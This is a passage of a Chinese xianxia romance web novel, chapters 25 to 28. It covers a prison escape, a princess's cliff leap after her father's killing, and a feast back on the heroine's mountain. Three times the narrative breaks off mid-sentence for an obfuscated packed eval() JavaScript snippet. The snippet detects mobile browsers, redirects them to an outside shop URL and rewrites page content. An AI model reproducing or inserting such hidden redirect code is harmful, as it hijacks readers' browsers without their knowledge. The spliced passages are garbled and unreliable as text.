曼吉加快了脚步,来到声音所在的牢门前。 只见这师徒二人身体上上下下都扎满了羽箭,干涸的血迹上流淌着刚从伤口溢出来的鲜血,模样甚是怖人。 曼吉心头一抖,立即扶住牢房门,声音颤抖得不像话:“二位,道长!” 扶西闻言,一把拍掉献流意欲将箭头放回她伤口的手,摇摇晃晃地往门口来,半晌才就着昏黄的烛光看清来人头盔下的脸。 “十公主!” 曼吉点点头,一张脸已经被泪水打得花里胡哨。 “你怎么在这里?” 献流也挪上来:“你怎么没被关进牢里?” 25. 我一定会让你后悔 扶西十分嫌弃地抬手捂住献流的嘴,不理会他压低的眉眼,转而问曼吉:“公主,您怎么还回来呢?此刻应当逃命才是!” 曼吉望着她们全身上下被羽箭覆盖的身体,眼中愈发酸涩,声音哽咽:“抱歉,你们可见到我父王母后?” 说实话,她并不奢望能救出父王母后,此刻的王宫早就被北境军控制,况且她手上还没有军队。 她握紧拳头,第一次如此愤恨自己平日只顾玩乐,自以为无忧无虑,到头来却是这番光景。 扶西摇摇头,而后望着曼吉朝他们颔首,继续向黑暗处走去。 扶西忍不住伸长脖子去望她的背影,一时间唏嘘无两,从前衣着光鲜的公主,现下穿着不合时宜的甲胄,深一脚浅一脚地趔趄在看不见尽头的甬道里。 算了,她还是先想想两个人怎么走才是。 扶西转回来,身上的箭杆还撞到了献流的,不用想,这小贼又蹭过来了,中了箭也不安分。 “别过来。”扶西挪了几步,与他隔开距离,她此刻心烦意乱,手心不断开阖,不然找九尾帮个忙? 可她从不出冥界,自然也不会为自己破例。 献流低头,望着扶西的脚尖,只好颇有些委屈地缩在角落,见扶西愁眉不展,他抿抿唇,试探性地开口:“我给你放烟花看。” 扶西转过头,觉得有些不可思议:“你说什么?” 这种境地,这种心情,他还要放烟花,扶西的拳头握得更紧了。 “不看。” 谁有心情看…… 献流伸出手,望着自己的掌心出神。 而后他终于感受到掌心的温热,片刻后,掌心果然出现了一簇快冲到他头顶的烟花。 “啪——” 炸开过后的火星落到地上,又立刻消失不见。 献流点点头,火不怎么大,挺安全的,于是他转头望向扶西,正欲开口,忽而发现扶西也望着他。 准确的说,是望着他的掌心。 扶西目若悬珠,亮晶晶的,她冲过来,一把抓住献流的手:“你多放点!” 多放点,把这牢用火烧了,他们就能出去了。 献流回握扶西的手一下,蹭地站了起来,满身的羽箭还不小心扎到了扶西的额头。 “你喜欢吗?”献流轻声问。 扶西看着他这幅莫名其妙的表情,思索着这个莫名其妙的问题,转而道:“喜,喜欢吧……” 献流闻言唇角上扬的弧度愈发明显,他回忆着方才的运力,掌心慢慢温热起来。 “咻——啪——” 成功又放出一个来。 扶西拍拍手,朝他投去赞许的目光:“快!多放点。”一面说,她一面忍痛将自己身上的箭矢尽数拔出来,顾不得流血与疼痛,她将数十只箭摞在一起,又把房里枯草堆到一处,就着牢房的缝隙推到通道上,“朝这里放!” 言罢她也不等献流回应,三下五除二将他身上的箭也取下来,搭在枯草下头。 献流望着她动作,似有不解,可还是照做了。 “刷——” 火星子才从手掌出来,还不等升空,就炸了个干净。 扶西:…… 献流不好意思地垂下头,过了会儿才抬眼看扶西,语气透着两分诚恳:“不知道为什么,又放不出来了。” 扶西强忍住给他一拳的冲动,转而窝去角落里,默默查看着自己身上还是渗血的窟窿们。 算了,反正死不了,总有一天出得去。 不对,他们能等,红生等不了啊。 再看看献流那双盛着十分无辜和无措的眼睛,扶西心头更堵了。 她摊开掌心,不行还是试试叫九尾吧…… 谁想还不等开口,牢房中忽而烟雾升腾,沁人心脾的芬芳随之而来,毫不费力地盖过了牢内的血腥气。 扶西鼻尖霎时被填满,她缓缓站起来,和着十分的期待望着烟雾中缓缓显露的人形。 身形颀长,一袭白衣,乌发飞扬。 烟雾终于退去,里头的人显露出庐山真面来,是个面容俊美的男子,气质恬静温柔,他朝着扶西微微一笑。 “山君。” 扶西花猫似的的脸终于绽开个大大的笑容,她一把扑上去,将男人上上下下打量了个遍,最后十分欣慰地拍着他的肩膀和胸膛。 “好陆眠,你真有良心!” 陆眠微微一笑,脸上继而浮出忧心:“山君,你怎么弄成这样?” 扶西摆摆手,转头睨了一眼旁边凑上来的献流:“说来话长,我们快快回去吧!” 陆眠点点头,抬手为扶西疗愈身上的伤口,十分贴心地也帮了献流一把。 一个隐身术后,三人已来到了牢门外头。 “山君,我修为不高,怕是无法直接带着大家瞬移到扶西山了。”陆眠说到此处,眼里露出一两分抱歉。 “无妨无妨,出来了就是英雄。” 陆眠本是山中一头麋鹿,幼时摔断了腿,险些丧命,是扶西同十一小侯时时照拂,这才恢复。 前段日子,听说什么天界的太白金星在下界广选弟子,扶西就把他送过去了。 说是弟子,其实只是名头,就是去人家殿里洒扫干活的。 几人往牢房外头走,扶西打算关心下陆眠:“怎么样,你选上了吗?” 他闻言立刻别开目光,支支吾吾:“也许是没有缘分。” 听到此处,扶西心下了然,不好再去戳他痛处,立刻转移话题,将前因后果,来龙去脉一一道出,末了还不忘往献流脚上踢一下。 献流却有病一样,居然朝着她笑:“这人来了,你便不理我了。” 这下终于想起他了。 “他是你的什么人?”献流终于逮到机会蹭过来,他熟门熟路地挤开陆眠,挨到扶西旁边,笑意盈盈地看着她。 陆眠望着此人奇异的举动,与扶西无声地对视。 扶西笑得勉强:“你别管他,他脑子有问题。” 陆眠点点头,几人继续往外走去。 “不许杀,追过去——” 颤抖哽咽的声音从背后传来,几人回过头去,正看到曼吉趔趄着奔跑,一张脸哭得不成样子。 扶西闪避不及,与她撞在一处。 曼吉应声倒地,焦急地查看四周,却没有阻拦的东西,她忍着疼痛起身,继续向前跑去。 扶西一骨碌翻爬起来,几人立时贴到墙壁上,数十个几个北境军盔甲鞋子哐哐响,保持着一个不近不远的距离跟着曼吉。 曼吉几近失去力气,脑海里不断回荡着方才看到的画面。 数十人恭恭敬敬地立在摇光身后,一口一个殿下。 而她的父王母后蓬头垢面,瑟瑟发抖地窝在角落,细细看过,母后身上颜色早已失了血色,曼吉捂住口鼻。 她明白,早已无力回天了。 国主语气沙哑,目光疲惫:“你杀了我吧。” 摇光却笑出声:“我肯定要杀了你!你急什么?”他呼出一口气,“不过在这之前,你要告诉我书兰公主的尸首在哪里。” 国主听到此处,眯着的眼睛终于缓缓睁开:“书兰?啊,是吉月王妃啊?”他思索着,思绪仿佛飘得很远,“她的尸首,已经被放到天坑中,供神明享用了。” 摇光听完,怒不可遏地揪住国主的衣襟:“什么天坑?天坑在哪?你们这些蛮夷,真叫我恶心!” “父死子继,兄终弟及,那又如何?”国主咳嗽两声,“中原王朝送她来和亲时,就该想到此处。” 摇光勃然大怒,一双眼睛已经通红:“你们与野兽何异,我只望从此以后,再也没有中原公主到此和亲!” 国主气息微弱:“那你快成功了。”他居然强撑着缓缓站起来,“可你用不堪的手段欺骗曼吉,如此一来,你与我们,又有什么区别呢?” 此言一出,似是一根插入摇光胸口的利箭,叫他唇舌颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947029|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。可他还是强撑着从下属手中接过长刀,心平气和道:“这都不重要了,我送你上路吧,国主。” 国主缓缓闭上眼睛,张开双手。 “不要——”曼吉出声,也挡不住摇光那颗意欲为书兰公主报仇的心! 他没有一丝犹豫,长刀瞬时捅入国主胸膛,血流如注。 弥留之际,国主忽然睁大双眼,虚弱的气息从全身各处聚集,汇成一句清晰可闻的话:“我儿曼吉——” “父王——”曼吉无力地跌坐在地,双眼无神地望过去,眼看着摇光扔掉长刀,朝他走来。 “你还是来了。”他开口,是不同寻常的淡漠。 曼吉抬头,望着摇光冷漠的脸庞,居然试图从他眼中找到一丝温存,一丝不忍,可都没有,她喉头动了动:“是,我来寻死。” 曼吉从方才的对话里已经推断出不少,书兰公主应当就是幼时教自己讲中原话的吉月姑姑,父王的侧妃。 而曾经,她做过爷爷的侧妃,伯父的大妃,最后才嫁给父王。 后来,她便在寝殿中自缢而亡。 言罢她闭上眼睛,安然等待死亡到来,颈间的皮肤已然触到冰凉,漫长的等待在摇光一句话里终结。 “曼吉,你还要不要嫁给我。” 曼吉睁开了眼睛,看着这个熟悉又陌生的男人。 他居然能在杀死自己的父王后说出这样的话,他疯了吗? 曼吉脑海中飞速闪过许多曾经的记忆,她叹口气:“摇光,你凭什么觉得我还愿意嫁给你?是你疯了,还是我疯了?” 摇光不应,手下却是等不及了:“殿下,您怎么能娶一个外邦女子!何须多言,杀了就是!” 摇光摆手示意他闭嘴,转而道:“我是认真的,你若愿意同我回到大周,我保你一辈子一衣食无忧。” “你做梦,我就算死,也不会嫁给你,你杀了我吧!”她望向摇光手中带着鲜血的长刀,心一横,直直冲了上去。 谁想却落入一个熟悉的怀抱里。 摇光低头看着她,像是下了很大的决心:“曼吉,你想好了,真不愿意同我回中原吗?” 她愣了愣,站直过后与摇光紧紧对视,咬牙切齿:“你知道自己在说什么吗?” 她胸腔里翻腾如浪,脑海中紧紧绷着一根弦,一个大胆而疯狂的想法初具雏形,她立时推开摇光,转身朝外奔去。 “殿下!”周围的人无不担心,有人搭弓拉箭,被摇光抬手拦了下来。 他摇头:“一个女人而已,能掀起多大的风浪,我对她有情,不忍她去死。” “后面的事你们处理。” 众人看着他匆忙跟上奔跑的曼吉公主,一瞬间竟有些恨铁不成钢。 夜风猎猎,摇光带着一行人追着曼吉来到了悬崖旁。 她立在崖边,自嘲地笑着:“摇光,你一直骗我。”她眼眶红得不像样,“你从来没对我说过真话。” “中原比这里有趣多了,你同我回去看一眼,好不好?你一定会喜欢那里的。”摇光望着深不见底的悬崖,心里头慌起来,“你过来我这里,我答应你,再也不会骗你了。” 曼吉泪流满面:“你以为,我还会相信你吗?” “曼吉,你先过来,我们再好好谈谈行不行。” 曼吉回头望了一眼崖底,忽然笑起来,笑得筋疲力尽,皮肤紧绷,最后才站起来,语气平静:“摇光,我笑自己识人不清,居然就这样相信了你,葬送了全族性命。” “可我要教你知道,我一定,一定会让你悔不当初的!”言罢她没有一丝犹豫,纵身跃入无边深渊。 摇光冲到崖边:“曼吉——” 他眼里不自觉流出眼泪,作势也要跳下去,却被旁边的人死死拉住。 “曼吉——” 远处的天空巨鹰滑过,巨大的翅膀下隐约可见人形,却因匿在夜空中看不清楚。 所有人都以为,这只是一只普通的苍鹰罢了。 26. 把薛介踩扁 从大狱里顺着曼吉公主开的道溜出来,倒也算是畅通无阻。 三人估摸了一下方位,决定穿过前面这片林子的边缘,到圣湖里捞起石台就跑。 王宫周遭火光冲天,杀声不绝,这林子却是诡异的寂静,偶有几只野鼠窸窸窣窣地爬过,时而吹两阵风,树叶子哗啦啦地响。 献流加快脚步,凑到扶西旁边,几乎是寸步不离:“我觉得不妥。” 扶西一把拍开他挨过来的脑袋:“还用你说?” 由是三人愈发小心翼翼,生怕有什么诈。 “啊啊啊啊——” 林子传来尖叫声,紧接着就是快速奔跑的脚步声,掺杂着明显的金属相撞之声,扶西赶紧拉过献流,隐匿在树干后头。 不一会儿,果然有个甲胄耷拉的士兵从前头跑来,一张脸上惊恐之色显而易见,他屁滚尿流地在地上摔了一跤,连武器掉在地上也来不及捡,便甩着两条长长的鼻涕眼泪跑过去了。 半分眼神都没有分给她们。 三人迟疑着从树干后头挪出来。竟又有一个人顶着相似的狼狈形容目不斜视地从几人身边跑了过去。 扶西去看陆眠:“你不是把隐身术解了吗?” 陆眠点头沉思:“确实是解了呀。” 话音刚落,地面便剧烈地震动起来,巨大的幅度使得扶西脚底失了依仗,垂死挣扎了一会儿,她应声倒地。 磕到了背。 她缓缓直起上半身,面色痛苦地抬手揉了揉,一抬眼,面前齐刷刷伸来两只手。 一只献流的,一只陆眠的。 献流斜睨了陆眠一眼,而后收回手掌,转而上前直接将扶西扶起来。 扶西点头,这才是有眼力见嘛,她刚要开口道谢:“多……” 身体忽然腾空了。 这小贼,把她抱了起来?! 陆眠无言地收回手,将两人上下打量了一番,露出个微不可察的笑容。 扶西只觉得陆眠的笑仿佛在审视她,莫名有种颜面尽失的感觉。 于是狠狠往献流手臂上掐了一把:“你又犯什么病?快放我下来!红生还等着呢!” 献流垂眸看她,嘴角不情不愿地往下拉了拉,手臂用力几回,最后还是在扶西满是威胁的眼神里乖乖松了手。 扶西脚方沾地,还来不及整理衣裳,忽而又被一双有力的大手揽了回去,她望着献流紧绷的面颊,还来不及狠狠骂他一句,整个人便骤然腾空,顺着献流的力量在空中转了个弯。 “砰——” 她原先战立的地方霎时出现了一个被巨大脚掌踩出的深坑,地面又晃动了两下,飞扬的尘土扑进扶西的鼻尖,她愣神地缓缓抬头,望着几乎穿通树林的巨人缓缓从她们旁边经过。 尘土迷了她的眼,她微微眯起眼睛,不舒服地蹙起眉头。 好密的灰尘,好大的灰土。 后脑传来一阵温热,她脖颈随着那人手掌的力量,鼻尖猝不及防地抵住一块有些粗糙的布料:“你靠着我,就不会被灰尘迷眼了。” 扶西愣了愣,这才反应过来,小贼把她按到了自己胸前。 她说不上来什么感觉,只觉得哪哪都不舒服,琢磨了一会儿立时手脚并用,从他臂弯跳了下来。 “砰——” 巨人又迈出一步。 扶西抬头,只觉得这东西异常眼熟,她试探着出声:“好石头?” 巨人抬起的脚滞留在了半空中,咯吱咯吱的响声过后,从丛丛黄叶中探下来一个方方正正的头,上头赫然是红生。 这样比来,杯子都小了一大截! “红生!!” 杯子动了两下,旋即有声音传来:“扶西,是你们吗?”他哇的一声嚎出来,“我还以为你们走了,赶紧催促着石台回去呢。” 扶西又将眼前的巨人上上下下打量了一会儿,真看不出,就吸了那么点仙气,这石台有了生气不算,还变大了这么多。 可惜还是不会说话。 红生却道:“我同它连在一处,能感受到它想说什么。” 扶西拍手:“太好啦!你叫它头再低点儿,让我们也上去吧!” 那石头巨人果然蹲了下来,扶西招呼着陆眠献流爬上去,三人齐齐坐在红生旁边。 折腾了好长一段时间,终于能回扶西山了,这下多好,陆眠在,回山不成问题,红生在,找老头交差不成问题。 她忽然坐起来。 不对,红生怎么还卡在这石头。 “你同它商量了吗?这木石之心还没解开?” 红生语气中也带着奇怪:“它同意我了,可我还是走不开。” 夭寿,难道下半辈子两个人合成一个人过吗?这叫什么事。 “砰,砰,砰。” 好石头继续前行,沉重的脚在地上砸出一个又一个的深坑,几人在红生旁边摇摇晃晃。 陡然间,摇光的幅度变得极大,好石头似乎被什么东西绊了一下,重重地摔倒在地。 它脑袋首先着地,红生的杯身立刻和地面来了个亲密接触。 一声清脆的响声过后,杯子骨碌碌地从石头上滚落下来,一石一杯终于分开了。 扶西摔了个大马趴,她爬起来,迅速将红生捡起来,望着好石头那个留着坑的脑袋。 只见坑中凹陷恰有一截折断的木头,再拿着红生的杯底一看,刚好有个断裂的截面。 她蹙起眉头,思忖着。 面前却忽然扑过来个五颜六色的人,声音尖锐中带着点得意:“我也要杀?我是谁,你们可看清楚了!你们以为杀得了我?” “呸!告诉摇光去,老子的恩早就报完了!” 不要脸的摇光,居然阴他,不知道从哪里找来的毒水,居然叫他周身仙力流转不得。 被凡人欺负,他气死啦! 扶西侧耳,不是薛介又是谁? 他怎么在这儿? “放箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958767|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 随着这声顿挫有力的命令,忽而有七八个脑袋从灌木丛上头现身,不由分说地拉弓搭箭,箭矢如雨,又落了下来。 扶西抓着红生,大惊失色,她眼珠子左右转了转,最后扯着献流来到陆眠身后。 陆眠熟门熟路地抬手一挥,所有的箭都在接近几人的那一刻停滞在空中,颤抖呜咽几下,就齐刷刷落了地。 薛介不知道什么时候躲到陆眠身后的,他见箭矢落地,一张脸愈发得张狂:“也敢埋伏你薛爷爷!看清楚了,我可是神仙!” 言罢他戳了戳陆眠的手,谄媚道:“快快,吓吓他们!” 陆眠思索了会儿,手指一抬,地上的羽箭又颤抖着飞起来,作势就要往来时的方向去。 弓箭手们见此情形,吓得立时四散奔逃。 薛介终于松了口气,缓缓直起腰来。 “呸!埋伏我,不要……” 他这句话没说话,屁股就狠狠挨了一脚,狼狈地趴倒在地。 扶西拿着红生凑到他跟前:“好你个黑蜘蛛,这就是你说的木石之心?” 屁股上的疼痛不足为惧,薛介缓缓转过来,用手撑着脑袋,居然还能朝着扶西笑:“这怎么不是了?” “你瞧瞧这杯底,再瞧瞧这石台。”扶西气得很,“榫卯结构,你跟我说是什么‘木石之心’?” 这两家伙就是简简单单地合在一处,根本不是什么上古秘术! 两个人来来回回忙活了这么久,她还被小贼气得半死,白日苦修来的仙气,还没捂热乎就渡了出去。 敢情都是些没必要的事情。 她一张脸气得通红,恨不得再往薛介屁股再来一脚。 “我们跟你无冤无仇!” 薛介嘬了下嘴巴:“怎么能这么说,你们抢了我在加罗当活神仙的名号,这可是有冤有仇啊。” 他咧嘴一笑:“你们抢了我的,还不允许我报复报复啦。”他语气坦坦荡荡,竟未觉得有半分不妥。 扶西恨得牙痒痒,她思来想去,将红生递给陆眠,撸起袖子,给自己加了口气。 而后她扬起腿,朝躺着的薛介狠狠一踢,一脚将他踹飞,衣角划过流畅的幅度,落处不知。 扶西拍拍手,转身跳回好石头脑袋上。 沉默了许久的献流终于开口:“我就说没有木石之心……” 扶西嗫嚅两下,自知理亏,她向来容易被别人饱满的情绪左右,一时间轻信,吃一堑又吃一堑的事也不是没有过。 “你不肯信我。” 扶西沉默。 献流往她那边挪了点:“师父曾对师弟师妹说过,你们二师兄可靠可信。” 扶西转过头去,望着献流的眼睛,慢慢皱起眉头,实在不知道他要说些什么。 “我就是那个二师兄。” * 行进不知多久,好石头在路上看到一只黑蜘蛛。 它想了想,一脚踩了下去。 27. 山君好生威武 一番奔波,终于到家,一行人先把红生送回安阳山,扶西心满意足地从老头手里捞过五座山,终于从半空中落下。 陆眠脸上淡淡的笑意在看到扶西山遍地可见的红绸时瞬间凝固,他落在地上,细细看了眼,颜色都快褪尽了。 他自天庭归山,路过人间恰见扶西受困,故而解救,还没来得及回山里看一眼,这又是办了什么大事。 “山君,这是做什么?”陆眠不解,他离山不过数月,山中能有什么喜事。 扶西漫不经心:“这个呀,十一同小侯成亲,我给她们布置的呀。” 陆眠闻言双手颤抖,好像舌头烫得都不会讲话了:“十一?十一嫁给了小侯?!” “是啊。” 扶西又睨了一眼傻乎乎的献流:“不过那天晚上这小贼从天上掉下来,真是扫兴。” 听扶西讲完这句话,献流的脸色灰败下来。 作为这山里唯二争气的神仙之一,陆眠也是靠自己修得的人形,他此刻心情焦灼,忍不住质问扶西:“山君糊涂,你可问过十一同小侯的意思?” 扶西见他态度不好,一时间也有点不太舒坦,可顾及自己还是他给捞回来的,努力心平气和:“怎么没问过,我可不是独断专行的人。” “十一同意了?” 陆眠似有不解,目光期待中带着点绝望,他蹙着眉头,脚步焦灼。 扶西重重点头:“那是自然,这种事情,当然要你情我愿才好。” 他身体彻底瘫软下来,放下握着红绸的手,有些呆滞地站在原地。 “陆眠!你回来啦——” 清脆的声音过后,陆眠感受到胸前的一团温热,十一不知道从哪里飞出来,径直落到他怀里,抬头用扑闪扑闪的大眼睛看着他。 陆眠看着她原形,下意识地抬起手想抚摸她的头,挣扎了会儿还是收回了手,把她放到了地上。 十一不明所以,心里头涌上淡淡的失落,只好马上窜到扶西肩上掩饰尴尬。 从前陆眠出去,回来的时候都会给她好多好玩好吃的,还会亲昵地揉她的脸蛋和头发,这回怎么变了。 是不是嫌弃她猴子的模样…… “十一。”陆眠开口。 十一眼睛亮起来。 “恭喜你啊,听说你同小侯成亲了,没来得及亲自道贺。” 十一咧嘴笑开:“那有什么,你没给我带东西回来吗?”言罢她又十分自觉地窜到陆眠怀里,抬手就摸。 陆眠摩挲着手指,用了很大的决心将她揪下来,神色认真道:“你既然嫁给了小侯,就不能动不动爬到我怀里了。” 十一挠着头:“为什么?我也经常爬到山君怀里啊。” 扶西把她拎过来,放到自己肩膀上,哄了会儿:“别理他,怎么就不能去了,他不给你爬,我给你爬,这山里,你都随便爬。” 十一重重点头,还是有些失落,不知道是不是因为变回原形的缘故,她觉得陆眠对自己仿佛比之前生疏了不少。 望着陆眠的背影,她心头不可避免地恨铁不成钢,她从前为何不好好修炼,自以为有了山君庇护,便在修行之事上愈发怠惰。 “我也想像陆眠一样,自己修炼出人形。” 扶西揉了揉她脑袋:“好十一,你真有志向,但也别勉强自己,等我刨出真身来,啊。” 十一点点头。 “对了山君,小侯做好饭了,就等着你们呢。” 扶西虽已辟谷,可还是贪图口腹之欲,虽上不得台面,可她在自己地盘上,自然是为所欲为。 小侯有一手好厨艺,自从真身出事,好久没吃到小侯做的饭了。 真是馋死她了! 一只猴子做饭,可真是难为他了。 “他在灶前垫了石头,做得可认真了。”十一笑眯眯的。 这下山中地盘扩大一点,她们也不用挤着个小小山包了,十一蹦蹦跳跳地说小侯将桌子摆到了大桑树下,一行人“浩浩荡荡”往那里开去。 到了地方才发现,安阳老头也在,他揣着红生,提着两壶酒,好石头跟在后头,抱着腿蹲下,化作一张极宽阔的石桌。 安阳瘪着嘴,说话漏风:“喝酒不喝?” 扶西上前接过,几人几猴说说笑笑地围坐在一处。 她望着面前这些精美菜肴,心中对小侯一万个满意:“好孩子,用猴爪子都能做得这么好,等哪天山君我发达了,送你去给食神当徒弟。” 一直面色从容的小侯闻言心神愉悦,忙跳到扶西肩膀上,斟了酒端到她面前:“真的吗?多谢山君,我做梦都等着那一天!” 扶西笑眯眯地接过酒盅一饮而尽:“那是自然,你瞧陆眠,之前见他修行有天分,短短三百年就化出人形,太白金星广招门徒,我可是找到底下管事的送了颗珍藏多年的夜明珠呢!” 说到这里,她又觉得可惜,于是安慰陆眠:“没选上也不要气馁,反正就是去扫地的,还不如在山里快活。” 陆眠却有些神色呆滞,不知在想些什么,扶西叫了他好几声,他才回过神来。 陆眠慢条斯理地从怀里掏出个锦盒,递到扶西面前;“山君,他们说叫我还给你。” 扶西愣神地接过来:"完了,你该不会是被我带累了吧?" 陆眠却摇头,其实他并未说真话,此番广选,他确实被选上了,如此自然不辜负山君心意,可进了天宫,规制森严,不知猴年马月他才能回扶西山,见到十一,同其他的好友们。 他思前想后,艰难抉择,最后决定放弃这个地仙们眼中的香饽饽,毅然决然回了山中。 可骤然知晓十一同小侯的婚事,他还是有些震惊,一时间缓不过来,再抬眼,十一就在他对面,笑意盈盈。 “山君,是我没本事,辛苦你还为我打点。” 他语气难掩失落。 扶西接过来打开,夜明珠在黑夜中散发着淡淡的温润光芒,只拇指那么大,就有这样的好成色,她立时起身,将夜明珠悬在桑树枝上。 石桌更亮了。 扶西开始大快朵颐,身旁却悄悄凑过来一个不速之客。 献流挪了挪,挤得她伸手夹菜都有些费力,见他还挪,扶西忍无可忍地放下筷子:“你,站着。” 献流头上的草芽随风招摇,显然并不决定执行她的命令,反而若无其事地抬手指向对面陆眠面前的一道叫花鸡,面色虔诚:“你想尝尝吗?” 扶西不明所以,这人怎么看出来她打算吃一嘴的:“尝,尝吧......” 献流点点头,径直起身,绕道陆眠身侧,直接将那碟菜放到扶西面前。 扶西扁了扁嘴,说不上来什么感受,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993281|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得献流果真是个傻子。 谁想下一刻,一块带着香气的肉快块放到了她嘴边,她颇有些不解地顺着筷子移过目光,只见献流微微笑着,神色认真,又把肉往她唇边送了送。 扶西蹙起眉头,今夜本是个好日子,大伙一起热闹,偏偏他要在这里扫兴,可他此刻又是个实打实的傻子,扶西不好与他计较,于是尽量和颜悦色地轻轻扒开献流的手。 “自己夹,自己吃,不必孝敬我。” 献流面庞涌上来几分失落,他缓缓垂了手,将东西搁在碗碟里,也不动筷。 扶西实在见不得他这一副好像受了天大委屈的模样,看得她实在牙痒痒。 “怎么不吃?” 她都想好了,等过了今夜,就将小贼关进山洞里,叫他没日没夜地苦修,直到修为全部恢复,破开封印。 今晚善待他点吧,她想。 献流却摇头:“你不吃,我也不想吃了。” 扶西听得莫名其妙,满头满脸的疑惑,傻,傻透了! “师傅曾言,辟谷后,适当吃些,也无妨。”言罢他继续面无表情地夹起个新的鸡块,放到扶西唇边,满怀期待地看着她。 扶西抿抿唇,一咬牙,张口迅速叼走,囫囵嚼了几下,送进肚子里。 终于看不见献流那张无辜的委屈脸,扶西心宽不少,眼看着献流似乎是投喂上了瘾,他围在桌前,指着每一道菜询问小侯。 “这是什么菜?” 然后屁颠屁颠地夹到扶西面前,扶西叹口气,也从方才的抗拒到逐渐放弃抵抗,变成傻子的献流是什么德行她太清楚了。 算了,先顺着,过了今晚,他就要被关进暗无天日的山洞里啦! 到了后头,反倒变成扶西抬手指挥起来,她大剌剌地坐在椅子上,手指一抬:“这道,对对对,还有那道......” "对了,倒酒,倒满!" “嗯,不错。” 食饱饭足,扶西望着安阳疑惑审视的目光,呆滞不能自拔的陆眠,昏昏欲睡的十一和看着空盘子不住在树上跳来跳去的自豪小侯,扶西明白过来。 时辰到,该就寝咯! 陷进柔软的云被里,扶西不可避免地做起梦来,梦中巨石压顶,沉重地叫她喘不过气,她艰难地伸长脖子,企图汲取新鲜的空气,却又被一块轻薄的纱幔遮住了口鼻。 她双手用力,双腿狠狠一蹬,梦境中的石头瞬时碎裂,自己也睁开了眼睛。 就着微弱的月光,她望向地上黢黑的身影,扶西用脚趾头都想得出来,此人是谁。 她蹑手蹑脚地走过去,只见献流蜷缩在地上,脑袋上招摇的草叶以极快地速度缩了回去,他急促地呼吸着,从脸到脖子红成一片。 呦呵,这是又恢复了。 他艰难地开口:“你答应过,会打晕我。” 不等扶西答话,他便垂着头起身,连个眼神也不分给扶西,皱皱巴巴的衣裳也没来得及整理,便同手同脚地往洞府外去。 扶西望着他背影,见怪不怪,依旧扑回榻上睡了。 而洞府之外,陆眠蹲坐在大桑树下,他实在睡不着。 月色下,他看见那被山君称作小贼的男人脚步趔趄,衣冠不整地从扶西洞府中出来,神色还十分恍惚。 陆眠一怔,山君好生威武,居然叫他肉偿。 28. 结界破开 扶西自不必同献流商量什么,待第二日晨起发号施令,献流就得乖乖修炼去。 为使他尽快恢复,扶西还特意在自己洞府旁辟出一个山洞来,一改往日的“奴隶主”做派,吃的喝的一齐备好,万事齐备,陆眠在洞口施法,打下结界。 “我并无异议。”献流微微垂眼,他从前就是这么过来的,扶西放了大把的时间供他修炼,还省的干那些奇奇怪怪的活。 此外,若是隔开一些,也省得他半夜发病老往扶西旁边蹭,实在是不堪,难堪…… “山君,你真不打算让他出来了?”陆眠放下手,眼神在洞内盘腿而坐的献流和扶西身上来回好几下。 “等哪天破开封印,哪天就放他出来。” 扶西笑呵呵地望着献流,只见他周身腾起近乎金色的烟雾,啧啧赞叹两声便挥袖而去,抓着十一小侯思索该做些什么才好,在大桑树下头踱了两圈,又跑到树上睡了会儿,迷迷糊糊地爬起来,望着远处的夕阳竟有些不知所措起来。 完蛋了,她从前都在山里做些什么来着? 扶西鬼溜溜地摸到山洞前头,见献流依旧在耐心苦修,放心不少,又转到后山那个破败的荷花池旁,此地狼藉一片,合该好好收拾一番。 她撸起袖子,正欲跳下去,又缓缓收回了脚,不如还是叫那小贼来吧,毕竟是他砸烂的,冤有头,债有主。 扶西又在山里转悠了会儿,从前的热闹早就荡然无存,两只猴子,十一说要修炼,小侯要去研究新菜谱,陆眠早就不知去向,她想找个人说说话,居然变得困难起来。 再一转角,是片小小山坡,上头赫然立着两个人,背影十分熟悉,他们似乎在讲话,并未注意到扶西的到来。 “是这样么?” 十一,竟恢复人形了,不过一晚上,这丫头的本事这么大? “大差不差,你试试行不行?” 陆眠...... 扶西止住了快要出口的话,熟门熟路地将身体掩在树干后头,竖着耳朵偷听。 “你真的要走吗?”十一预期难掩失落,她低头略有不安地揉搓着衣角,并未看陆眠。 陆眠重重点了点头:“你与小侯好好过,说不定等我回来,你们都有孩子了,一大堆的小猴子,山君不知道要开心成什么样子。” 扶西抬眼,想象了一下满山都是猴子的景象,不由得打了个冷战,猴子在精不在多,有小侯十一就够了,生那么多做什么。 十一面露不解:“为何我要同小侯生孩子?” 扶西点点头,就是,一堆猴子,她看了怕脑袋炸开。 陆眠竟也不解起来:“你既然同小侯结亲,自然要......” 十一认真思考起来:“竟是这样么?” 